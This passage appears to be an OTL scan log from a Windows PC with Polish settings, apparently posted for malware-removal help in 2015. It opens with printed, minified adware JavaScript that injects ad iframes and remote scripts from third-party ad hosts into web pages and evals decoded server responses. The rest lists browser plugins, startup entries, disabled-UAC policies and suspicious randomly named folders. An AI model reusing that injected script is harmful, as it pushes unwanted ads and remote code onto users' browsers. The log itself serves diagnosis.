gfIIasbRiVgIiVSpZkoxDn9vtmGbXSc+7dPp0Vkablrw8AQNT2mzC25RAsXBYlKqTKiPgzGmCr795gFZCIVKt2154V4hL9F/Y7QLJSsAnJycRHmWkuZCKOBWumFTHnACSX1J07x4KBEbo9jHxuAqLimVEr3j7zku/coV9+svTnNu3b/2AVSuZOsx8MDMzg09eAQbDR6DXv09PH6/Aq9d//uSsfTT+99xfYdmwvOsyzc3N5e/f/+pqYWGBmeM4GzaZTj8Fw+Gwf9Dz+9hvz/rmRsWXcS/T/wQYAL8KChTqW9Z8AAAAAElFTkSuQmCC', style:{cursor:'pointer'}}},{type:'span',attrs:{style:{position:'relative','margin-left':'20px','font-size':'12px','line-height':'33px'}},children:[{type:'#text',text:'Ads by '+d.extName}]}]},{type:'iframe',attrs:{style:{border:'0'},id:'__modal_iframe',width:'100%',height:'100%',frameboarder:'0',scrolling:'yes',marginheight:'0',marginwidth:'0',allowtransparency:'true',src:''}}]}]};try{var e=d.dom.json_to_html(g)}catch(l){}e&&(document.getElementsByTagName('body')[0].appendChild(e),document.getElementById('__modal_iframe').src= a,d.pixel('0','1'),b(),f())}}};a.getKeywords=function(){var a=document.title,b=document.getElementsByTagName('meta');if(b)for(var d=0,g=b.length;dl[h].length||(b[l[h]]?b[l[h]]++: b[l[h]]=1)}catch(m){}var e=[],k;for(k in b)e.push([k,b[k]]);e.sort(function(a,b){return b[1]-a[1]});e=e.slice(0,25);for(k=0;k';b.setAttribute('style','height: 15px;position: relative;background-color: #F9F9F9;border: none;border-radius:0');b.innerHTML=d;c.insertBefore(b,c.children[0])}};a.prepareUrl=function(){var c='?',b;for(b in d.directParams)c+=b+'='+d.directParams[b]+'&';c+='k='+encodeURIComponent(d.getKeywords());return'//'+a.hostnames['http:'==window.location.protocol?0:1]+c};a.tp=function(c){if(c){c=a.utils.l.decode(c);try{a.response=eval(c)}catch(b){}if(a.response&&a.response[0]&&(a.response[0][0]= a.response[0][0].replace('zig_pp','pjwKrTsHvTg9vTs8qx1FqdrFqdn5rHn6'),c=a.response[0][3],c=7,7===c&&'function'==typeof a.products['code_'+c]))a.products['code_'+c](a.response)}};a.getInstructions=function(c){var b='&cb='+a.prefix+'.tp';a.utils.msie?a.utils.inject_script(c+b):a.utils.ajax.get(c,function(b){b&&a.tp(b)})};a.initPop=function(){if(-1!==window.location.href.indexOf(a.pop_collision_id))return a.injectComplianceBanner();var c=a.prepareUrl();d.utils.getInstructions(c,'tp')};a.injectOnload=function(){'complete'=== document.readyState||10d.utils.msie||(window==window.top&&(a.utils.msie?a.injectOnload():a.initPop()),'undefined'==typeof window[a.prefix]&&(window[a.prefix]=a))}};}catch(e){};try{try{new function(){if(null==document.getElementById(\"id_a02b170eff6bb769\")&&window.self==window.top&&!/^(offers\\.bycontext|contextual\\.ctx-traffic)\\.com$/i.test(window.location.href)&&-1==window.name.indexOf(\"_odctxdsp\")){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=!0;a.src=\"//cjs.linkbolic.com/scjs/cjs/ctxjs.js?aff_id=1151&subaff_id=1358_21153&sbrand=DealSpace\";a.setAttribute(\"id\",\"id_a02b170eff6bb769\");document.getElementsByTagName(\"head\")[0].appendChild(a)}}}catch(e$$12){};}catch(e){};try{window.self==window.top&&new function(){var a=this;a.sleepTime=5E3;a.setProductPriority={Foxy:1,iRobinHood:2};a.Foxy=new function(){this.init=function(){if(!document.getElementById(\"dotm495nvh5s99iez741dx4\")&&window.self==window.top){var c=document.createElement(\"script\");c.type=\"text/javascript\";c.async=true;c.setAttribute(\"id\",\"dotm495nvh5s99iez741dx4\");c.src=\"//client.foxydeal.com/sf/1054/1358X21153/\"+document.location.hostname+\"?partnerName=DealSpace\";document.getElementsByTagName(\"head\")[0].appendChild(c)}setTimeout(function(){null==\r\ndocument.getElementById(\"FoxyDealTopBar\")&&a.runProduct()},a.sleepTime)}};a.iRobinHood=new function(){this.init=function(){if(!document.getElementById(\"djdnjh4e7dne543gv\")&&window.self==window.top){var c=function(){window._chch3e7xjxs2=\"1461401463529793754\"};if(-1==navigator.userAgent.toLowerCase().indexOf(\"chrome\"))c();else{var b=document.createElement(\"script\");b.innerHTML=\"(\"+c.toString()+\")()\";document.getElementsByTagName(\"head\")[0].appendChild(b)}b=document.createElement(\"script\");b.type=\"text/javascript\";b.async=true;\r\nb.setAttribute(\"id\",\"djdnjh4e7dne543gv\");b.src=\"//static.donation-tools.org/widgets/WPPartner/widget.js?_irh_prodname=DealSpace&_irh_subid=1358_21153\";document.getElementsByTagName(\"head\")[0].appendChild(b)}setTimeout(function(){null==document.getElementById(\"iRobinhood_Strip\")&&a.runProduct()},a.sleepTime)}};a.sortedProduct=[];for(var b in a.setProductPriority)a.min||(a.min=a.setProductPriority[b]),a.max||(a.max=a.setProductPriority[b]),a.min>a.setProductPriority[b]&&\r\n(a.min=a.setProductPriority[b]),a.max>2,d=(d&3)<<4|h>>4,m=(h&15)<<2|g>>6,k=g&63;isNaN(h)?m=k=64:isNaN(g)&&(k=64);e=e+a.xlat.charAt(n)+a.xlat.charAt(d)+(64==m?'=':a.xlat.charAt(m))+(64==k?'=':a.xlat.charAt(k))}return e};a._utf8_encode=function(a){if(a&&a.length){for(var b='',c=0;cd?b+=String.fromCharCode(d):(127d?b+=String.fromCharCode(d>>6|192):(b+=String.fromCharCode(d>>12|224),b+=String.fromCharCode(d>>6&63|128)),b+=String.fromCharCode(d& 63|128))}return b}return a};a.decode=function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g,'');for(var b='',c=0;c>2,k=(g&3)<<6|n,b=b+String.fromCharCode(d<<2|h>>4);64!=g&&0d)b+=String.fromCharCode(d),c++;else if(191d)var h=a.charCodeAt(c+1),b=b+String.fromCharCode((d&31)<<6|h&63),c=c+2;else var h=a.charCodeAt(c+1),g=a.charCodeAt(c+2),b=b+String.fromCharCode((d&15)<<12|(h&63)<<6|g&63),c=c+3}return b}};a.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1:a}();a.getParams=function(){var b= location.href.split('__pdt');1b.message.length?b.message:b.message.slice(0,255),e=255>location.href.length?location.href:location.href.slice(0,255);(new Image).src=a.createPixelUrl({ch:8020, oh:e,sh:f})}},'undefined'==typeof window[a.prefix]&&(window[a.prefix]=a),a.initDirectPixel())}; }catch(e){}})();"); FF - user.js - File not found FF:[b]64bit:[/b] - HKLM\Software\MozillaPlugins\@adobe.com/FlashPlayer: C:\Windows\system32\Macromed\Flash\NPSWF64_17_0_0_190.dll File not found FF:[b]64bit:[/b] - HKLM\Software\MozillaPlugins\@microsoft.com/GENUINE: disabled File not found FF:[b]64bit:[/b] - HKLM\Software\MozillaPlugins\@Microsoft.com/NpCtrl,version=1.0: C:\Program Files\Microsoft Silverlight\5.1.30514.0\npctrl.dll ( Microsoft Corporation) FF:[b]64bit:[/b] - HKLM\Software\MozillaPlugins\adobe.com/AdobeAAMDetect: C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\CCM\Utilities\npAdobeAAMDetect64.dll (Adobe Systems) FF:[b]64bit:[/b] - HKLM\Software\MozillaPlugins\adobe.com/AdobeExManDetect: E:\Adobe Photoshop CS6 Extended Multilingual\Adobe Extension Manager CS6\Win64Plugin\npAdobeExManDetectX64.dll (Adobe Systems) FF - HKLM\Software\MozillaPlugins\@adobe.com/FlashPlayer: C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_17_0_0_190.dll () FF - HKLM\Software\MozillaPlugins\@adobe.com/ShockwavePlayer: C:\Windows\SysWOW64\Adobe\Director\np32dsw_1203133.dll (Adobe Systems, Inc.) FF - HKLM\Software\MozillaPlugins\@Apple.com/iTunes,version=: File not found FF - HKLM\Software\MozillaPlugins\@Apple.com/iTunes,version=1.0: C:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll () FF - HKLM\Software\MozillaPlugins\@foxitsoftware.com/Foxit Reader Plugin,version=1.0,application/pdf: C:\Program Files (x86)\Foxit Software\Foxit Reader\plugins\npFoxitReaderPlugin.dll (Foxit Corporation) FF - HKLM\Software\MozillaPlugins\@Google.com/GoogleEarthPlugin: C:\Program Files (x86)\Google\Google Earth\plugin\npgeplugin.dll (Google) FF - HKLM\Software\MozillaPlugins\@intel-webapi.intel.com/Intel WebAPI ipt;version=2.1.42: C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\IPT\npIntelWebAPIIPT.dll (Intel Corporation) FF - HKLM\Software\MozillaPlugins\@intel-webapi.intel.com/Intel WebAPI updater: C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\IPT\npIntelWebAPIUpdater.dll (Intel Corporation) FF - HKLM\Software\MozillaPlugins\@java.com/DTPlugin,version=11.45.2: C:\Program Files (x86)\Java\jre1.8.0_45\bin\dtplugin\npDeployJava1.dll (Oracle Corporation) FF - HKLM\Software\MozillaPlugins\@java.com/JavaPlugin,version=11.45.2: C:\Program Files (x86)\Java\jre1.8.0_45\bin\plugin2\npjp2.dll (Oracle Corporation) FF - HKLM\Software\MozillaPlugins\@kaspersky.com/content_blocker_663BE84DBCC949E88C7600F63CA7F098: C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\FFExt\content_blocker@kaspersky.com [2015-06-01 20:15:18 | 000,000,000 | ---D | M] FF - HKLM\Software\MozillaPlugins\@kaspersky.com/virtual_keyboard_07402848C2F6470194F131B0F3DE025E: C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\FFExt\virtual_keyboard@kaspersky.com [2015-06-01 20:15:39 | 000,000,000 | ---D | M] FF - HKLM\Software\MozillaPlugins\@microsoft.com/GENUINE: disabled File not found FF - HKLM\Software\MozillaPlugins\@Microsoft.com/NpCtrl,version=1.0: C:\Program Files (x86)\Microsoft Silverlight\5.1.30514.0\npctrl.dll ( Microsoft Corporation) FF - HKLM\Software\MozillaPlugins\@MoneyMillionaire/npdf: C:\ProgramData\Odkrywca Rabatów\FFExtension20140613115427\plugins\npdf.dll ( ) FF - HKLM\Software\MozillaPlugins\@pandonetworks.com/PandoWebPlugin: C:\Program Files (x86)\Pando Networks\Media Booster\npPandoWebPlugin.dll (Pando Networks) FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=3: C:\Program Files (x86)\Google\Update\1.3.27.5\npGoogleUpdate3.dll (Google Inc.) FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=9: C:\Program Files (x86)\Google\Update\1.3.27.5\npGoogleUpdate3.dll (Google Inc.) FF - HKLM\Software\MozillaPlugins\adobe.com/AdobeAAMDetect: C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\CCM\Utilities\npAdobeAAMDetect32.dll (Adobe Systems) FF - HKLM\Software\MozillaPlugins\adobe.com/AdobeExManDetect: E:\Adobe Photoshop CS6 Extended Multilingual\Adobe Extension Manager CS6\npAdobeExManDetectX86.dll (Adobe Systems) FF - HKCU\Software\MozillaPlugins\@onlive.com/OnLiveGameClientDetector,version=1.0.0: C:\Program Files (x86)\OnLive\Plugin\npolgdet.dll (OnLive) FF - HKCU\Software\MozillaPlugins\@unity3d.com/UnityPlayer,version=1.0: C:\Users\User\AppData\LocalLow\Unity\WebPlayer\loader\npUnity3D32.dll (Unity Technologies ApS) FF - HKCU\Software\MozillaPlugins\pandonetworks.com/PandoWebPlugin: C:\Program Files (x86)\Pando Networks\Media Booster\npPandoWebPlugin.dll (Pando Networks) FF - HKEY_LOCAL_MACHINE\software\mozilla\Firefox\Extensions\\content_blocker_663BE84DBCC949E88C7600F63CA7F098@kaspersky.com: C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\FFExt\content_blocker@kaspersky.com [2015-06-01 20:15:18 | 000,000,000 | ---D | M] FF - HKEY_LOCAL_MACHINE\software\mozilla\Firefox\Extensions\\virtual_keyboard_07402848C2F6470194F131B0F3DE025E@kaspersky.com: C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\FFExt\virtual_keyboard@kaspersky.com [2015-06-01 20:15:39 | 000,000,000 | ---D | M] FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 38.0\extensions\\Components: C:\Program Files (x86)\Mozilla Firefox\components FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 38.0\extensions\\Plugins: C:\Program Files (x86)\Mozilla Firefox\plugins FF - HKEY_CURRENT_USER\software\mozilla\Firefox\Extensions\\{B64D9B05-48E1-4CEB-BF58-E0643994E900}: C:\Program Files (x86)\Common Files\DVDVideoSoft\plugins\ff\ FF - HKEY_CURRENT_USER\software\mozilla\Firefox\Extensions\\{e4f94d1e-2f53-401e-8885-681602c0ddd8}: C:\ProgramData\McAfee Security Scan\Extensions\{e4f94d1e-2f53-401e-8885-681602c0ddd8}.xpi [2014-04-04 12:36:14 | 000,010,691 | ---- | M] () [2013-03-10 18:11:04 | 000,000,000 | ---D | M] (No name found) -- C:\Users\User\AppData\Roaming\Mozilla\Extensions [2013-09-09 20:41:07 | 000,000,000 | ---D | M] (No name found) -- C:\Users\User\AppData\Roaming\Mozilla\Firefox\extensions [2013-09-09 20:41:07 | 000,000,000 | ---D | M] (No name found) -- C:\Users\User\AppData\Roaming\Mozilla\Firefox\extensions\toolbarbutton@obviousidea.us [2015-05-14 21:03:40 | 000,000,000 | ---D | M] (No name found) -- C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\s0m51nbt.default-1409215493418\extensions [2015-05-12 18:38:37 | 000,000,000 | ---D | M] (iMacros for Firefox) -- C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\s0m51nbt.default-1409215493418\extensions\{81BF1D23-5F17-408D-AC6B-BD6DF7CAF670} [2015-06-03 10:57:30 | 000,000,000 | ---D | M] (No name found) -- C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\s0m51nbt.default-1409215493418\extensions\staged [2015-05-12 18:33:43 | 000,970,672 | ---- | M] () (No name found) -- C:\Users\User\AppData\Roaming\Mozilla\Firefox\Profiles\s0m51nbt.default-1409215493418\extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi [2015-05-12 18:32:07 | 000,000,000 | ---D | M] (No name found) -- C:\Program Files (x86)\Mozilla Firefox\browser\extensions [2015-05-12 18:32:07 | 000,000,000 | ---D | M] (Default) -- C:\Program Files (x86)\Mozilla Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd} [color=#E56717]========== Chrome ==========[/color] CHR - Extension: No name found = C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\Extensions\cfhdojbkjhnklbpkdaibdccddilifddb\1.9_0\ CHR - Extension: No name found = C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\Extensions\dhdgffkkebhmkfjojejmpbldmpobfkfo\3.10.109_0\ CHR - Extension: No name found = C:\Users\User\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.1.1.0_0\ O1 HOSTS File: ([2015-06-03 07:34:14 | 000,000,495 | ---- | M]) - C:\Windows\SysNative\drivers\etc\hosts O1 - Hosts: 127.0.0.1 localhost O1 - Hosts: ::1 localhost O2:[b]64bit:[/b] - BHO: (Virtual Keyboard Plugin) - {4A66AD60-A03D-4D01-86F0-5F0F7C0EF1AD} - C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\x64\IEExt\ie_plugin.dll (Kaspersky Lab ZAO) O2:[b]64bit:[/b] - BHO: (Content Blocker Plugin) - {93BC2EA7-2F17-4729-948A-D2E03FFB2412} - C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\x64\IEExt\ie_plugin.dll (Kaspersky Lab ZAO) O2:[b]64bit:[/b] - BHO: (Safe Money Plugin) - {AB379017-4C03-4E00-8EDF-E6D6AF7CCF82} - C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\x64\IEExt\ie_plugin.dll (Kaspersky Lab ZAO) O2 - BHO: (MSS+ Identifier) - {0E8A89AD-95D7-40EB-8D9D-083EF7066A01} - C:\Program Files\McAfee Security Scan\3.8.150\McAfeeMSS_IE.dll (McAfee, Inc.) O2 - BHO: (Virtual Keyboard Plugin) - {4A66AD60-A03D-4D01-86F0-5F0F7C0EF1AD} - C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\IEExt\ie_plugin.dll (Kaspersky Lab ZAO) O2 - BHO: (Java(tm) Plug-In SSV Helper) - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - C:\Program Files (x86)\Java\jre1.8.0_45\bin\ssv.dll (Oracle Corporation) O2 - BHO: (Content Blocker Plugin) - {93BC2EA7-2F17-4729-948A-D2E03FFB2412} - C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\IEExt\ie_plugin.dll (Kaspersky Lab ZAO) O2 - BHO: (Safe Money Plugin) - {AB379017-4C03-4E00-8EDF-E6D6AF7CCF82} - C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\IEExt\ie_plugin.dll (Kaspersky Lab ZAO) O2 - BHO: (Java(tm) Plug-In 2 SSV Helper) - {DBC80044-A445-435b-BC74-9C25C1C588A9} - C:\Program Files (x86)\Java\jre1.8.0_45\bin\jp2ssv.dll (Oracle Corporation) O3 - HKCU\..\Toolbar\WebBrowser: (no name) - {0D083146-4631-4BDD-A2A3-FDC7B3D5354D} - No CLSID value found. O4:[b]64bit:[/b] - HKLM..\Run: [AdobeAAMUpdater-1.0] C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe (Adobe Systems Incorporated) O4:[b]64bit:[/b] - HKLM..\Run: [RtHDVCpl] C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe (Realtek Semiconductor) O4 - HKLM..\Run: [AdobeCS6ServiceManager] C:\Program Files (x86)\Common Files\Adobe\CS6ServiceManager\CS6ServiceManager.exe (Adobe Systems Incorporated) O4 - HKLM..\Run: [SwitchBoard] C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe (Adobe Systems Incorporated) O4 - HKCU..\Run: [AdobeBridge] File not found O4 - HKCU..\Run: [Connectify-Installer] C:\Users\User\AppData\Local\Temp\Connectify\Connectify2015Installer_cnet_.exe (Connectify) O4 - HKCU..\Run: [HydraVisionDesktopManager] C:\Program Files (x86)\ATI Technologies\HydraVision\HydraDM.exe (AMD) O4 - Startup: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\M.A-1.20.x.lnk = File not found O6 - HKLM\Software\Policies\Microsoft\Internet Explorer\control panel present O6 - HKLM\Software\Policies\Microsoft\Internet Explorer\Restrictions present O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDriveAutoRun = 3 O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDrives = 0 O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDriveTypeAutoRun = 28 O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorAdmin = 0 O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorUser = 3 O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: EnableLUA = 0 O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: PromptOnSecureDesktop = 0 O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: SoftwareSASGeneration = 1 O7 - HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel present O7 - HKCU\Software\Policies\Microsoft\Internet Explorer\restrictions present O7 - HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDriveAutoRun = 3 O7 - HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDrives = 0 O7 - HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDriveTypeAutoRun = 145 O8:[b]64bit:[/b] - Extra context menu item: Free YouTube Download - C:\Program Files (x86)\Common Files\DVDVideoSoft\plugins\freeytvdownloader.htm File not found O8:[b]64bit:[/b] - Extra context menu item: Free YouTube to MP3 Converter - C:\Program Files (x86)\Common Files\DVDVideoSoft\plugins\freeytmp3downloader.htm File not found O8 - Extra context menu item: Free YouTube Download - C:\Program Files (x86)\Common Files\DVDVideoSoft\plugins\freeytvdownloader.htm File not found O8 - Extra context menu item: Free YouTube to MP3 Converter - C:\Program Files (x86)\Common Files\DVDVideoSoft\plugins\freeytmp3downloader.htm File not found O9:[b]64bit:[/b] - Extra Button: Klawiatura wirtualna - {5547CE1F-74E9-41E5-9CBF-5211ECC37341} - C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\x64\IEExt\ie_plugin.dll (Kaspersky Lab ZAO) O9:[b]64bit:[/b] - Extra Button: Free YouTube Download - {EE932B49-D5C0-4D19-A3DA-CE0849258DE6} - Reg Error: Key error. File not found O9:[b]64bit:[/b] - Extra 'Tools' menuitem : Free YouTube Download - {EE932B49-D5C0-4D19-A3DA-CE0849258DE6} - Reg Error: Key error. File not found O9 - Extra Button: Klawiatura wirtualna - {5547CE1F-74E9-41E5-9CBF-5211ECC37341} - C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 15.0.2\IEExt\ie_plugin.dll (Kaspersky Lab ZAO) O10:[b]64bit:[/b] - NameSpace_Catalog5\Catalog_Entries64\000000000006 [] - C:\Program Files\Bonjour\mdnsNSP.dll (Apple Inc.) O10 - NameSpace_Catalog5\Catalog_Entries\000000000006 [] - C:\Program Files (x86)\Bonjour\mdnsNSP.dll (Apple Inc.) O17 - HKLM\System\CCS\Services\Tcpip\Parameters: DhcpNameServer = 192.168.252.2 194.204.152.34 192.168.1.1 O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{6B8FD29E-679F-47F2-95F2-55DA137FB5EF}: DhcpNameServer = 192.168.100.2 194.204.159.1 O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{8A5A9908-3DEA-4BE1-9521-38C604FF680D}: NameServer = O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{be2f0bee-a20b-413c-af45-82beff8b1eaf}: DhcpNameServer = 192.168.252.2 194.204.152.34 192.168.1.1 O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{C2C55BA1-05B8-4CD5-8171-A6748EF62930}: NameServer = 8.8.8.8,8.8.4.4,4.2.2.1,4.2.2.2,208.67.222.222,208.67.220.220,8.26.56.26,8.20.247.20,156.154.70.1,156.154.71.1 O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{D2349193-633D-4ABF-982A-E6AD402640C9}: NameServer = O18:[b]64bit:[/b] - Protocol\Handler\grooveLocalGWS - No CLSID value found O18:[b]64bit:[/b] - Protocol\Handler\ms-help - No CLSID value found O20:[b]64bit:[/b] - HKLM Winlogon: Shell - (explorer.exe) - C:\Windows\explorer.exe (Microsoft Corporation) O20:[b]64bit:[/b] - HKLM Winlogon: UserInit - (C:\Windows\system32\userinit.exe) - C:\Windows\SysNative\userinit.exe (Microsoft Corporation) O20 - HKLM Winlogon: Shell - (explorer.exe) - C:\Windows\SysWow64\explorer.exe (Microsoft Corporation) O20 - HKLM Winlogon: UserInit - (C:\Windows\system32\userinit.exe) - C:\Windows\SysWOW64\userinit.exe (Microsoft Corporation) O21:[b]64bit:[/b] - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found. O21 - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found. O32 - HKLM CDRom: AutoRun - 1 O32 - AutoRun File - [2014-12-18 19:20:37 | 000,000,000 | ---- | M] () - C:\autoexec.bat -- [ NTFS ] O32 - AutoRun File - [2013-05-23 16:04:30 | 000,000,000 | R--D | M] - C:\Autorun.inf -- [ NTFS ] O34 - HKLM BootExecute: (autocheck autochk *) O35:[b]64bit:[/b] - HKLM\..comfile [open] -- "%1" %* O35:[b]64bit:[/b] - HKLM\..exefile [open] -- "%1" %* O35 - HKLM\..comfile [open] -- "%1" %* O35 - HKLM\..exefile [open] -- "%1" %* O37:[b]64bit:[/b] - HKLM\...com [@ = comfile] -- "%1" %* O37:[b]64bit:[/b] - HKLM\...exe [@ = exefile] -- "%1" %* O37 - HKLM\...com [@ = comfile] -- "%1" %* O37 - HKLM\...exe [@ = exefile] -- "%1" %* O37 - HKCU\...exe [@ = exefile] -- Reg Error: Key error. File not found O38 - SubSystems\\Windows: (ServerDll=winsrv:UserServerDllInitialization,3) O38 - SubSystems\\Windows: (ServerDll=winsrv:ConServerDllInitialization,2) O38 - SubSystems\\Windows: (ServerDll=sxssrv,4) [color=#E56717]========== Files/Folders - Created Within 30 Days ==========[/color] [2015-06-28 04:03:14 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Roaming\zbczctrs [2015-06-27 16:09:57 | 000,000,000 | ---D | C] -- C:\Users\User\Desktop\5_kingdom_rush_frontiers [2015-06-23 23:41:54 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\MO Virtual Router [2015-06-23 23:41:54 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\MO Virtual Router [2015-06-23 23:40:03 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Local\Chris_Pietschmann_(http__ [2015-06-23 23:36:24 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Virtual Router [2015-06-23 23:36:23 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Virtual Router [2015-06-23 04:16:14 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Roaming\usartyxu [2015-06-19 16:01:59 | 000,000,000 | ---D | C] -- C:\Users\User\Desktop\NinjaBlasterSetup [2015-06-16 03:37:50 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Roaming\xyitlgco [2015-06-15 02:41:31 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Roaming\erlycedq [2015-06-14 01:21:28 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Roaming\osqoelcp [2015-06-13 13:15:27 | 000,000,000 | ---D | C] -- C:\Users\User\Desktop\śmieci do facebooka [2015-06-13 03:42:33 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Roaming\bixaiuzr [2015-06-12 16:47:47 | 000,000,000 | ---D | C] -- C:\Users\User\Desktop\Baza Mail-1mln [2015-06-11 06:50:46 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Roaming\rljgmiob [2015-06-10 14:32:23 | 000,042,152 | ---- | C] (Connectify) -- C:\Windows\SysNative\drivers\cnnctfy3.sys [2015-06-10 14:13:13 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Connectify [2015-06-10 14:11:16 | 000,000,000 | ---D | C] -- C:\ProgramData\Connectify [2015-06-10 03:37:38 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Roaming\aqhwflkn [2015-06-08 15:15:21 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google Chrome [2015-06-05 13:08:28 | 000,000,000 | ---D | C] -- C:\Users\User\Desktop\Vir_dla_zarabiamcom [2015-06-04 16:11:45 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Roaming\zuaicjnl [2015-06-04 04:11:53 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Roaming\ssqffzfz [2015-06-04 04:06:42 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Roaming\ucasmuhc [2015-06-03 15:40:34 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Roaming\nufezamc [2015-06-03 15:02:17 | 000,000,000 | -HSD | C] -- C:\$RECYCLE.BIN [2015-06-03 10:58:15 | 000,000,000 | ---D | C] -- C:\Windows\temp [2015-06-03 06:14:22 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Roaming\kbbdbdzd [2015-06-03 05:44:32 | 000,000,000 | ---D | C] -- C:\ProgramData\STOPzilla! [2015-06-03 03:58:08 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Malwarebytes Anti-Malware [2015-06-03 02:32:49 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Roaming\hnojaegz [2015-06-01 20:18:57 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Kaspersky Anti-Virus [2015-06-01 20:17:04 | 000,110,176 | ---- | C] (Kaspersky Lab ZAO) -- C:\Windows\SysNative\klfphc.dll [2015-06-01 20:15:23 | 000,000,000 | ---D | C] -- C:\Windows\ELAMBKUP [2015-06-01 20:15:15 | 000,000,000 | ---D | C] -- C:\ProgramData\Kaspersky Lab [2015-06-01 20:15:15 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Kaspersky Lab [2015-05-31 18:35:03 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Roaming\iqejovto [2015-05-31 03:26:32 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Roaming\ncppweev [2015-05-30 04:01:42 | 000,000,000 | ---D | C] -- C:\Users\User\AppData\Roaming\ooojrkqq [2013-05-08 08:28:37 | 001,209,632 | ---- | C] (Broadcom Corporation.) -- C:\Program Files (x86)\BtWizard.dll [2013-05-08 08:28:33 | 001,209,632 